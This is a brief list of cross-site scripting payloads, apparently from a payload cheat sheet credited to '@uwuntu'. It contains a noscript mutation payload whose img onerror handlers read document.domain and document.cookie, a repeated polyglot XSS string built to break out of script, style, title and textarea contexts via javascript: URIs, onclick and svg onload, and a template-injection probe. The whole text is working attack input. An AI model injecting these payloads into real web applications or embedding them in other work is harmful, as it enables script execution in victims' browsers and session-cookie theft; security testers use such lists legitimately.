aaa<noscript><p title="</noscript><img src=x onerror=alert(document.domain)><img sr c=x onerror=alert(document.cookie)>
By @uwuntu
jaVasCript:/-//*\
/'/"//(/* /oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</
titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
jaVasCript:/-//*\
/'/*"//(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</
titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
${{<%[%'"}}%.
<p title="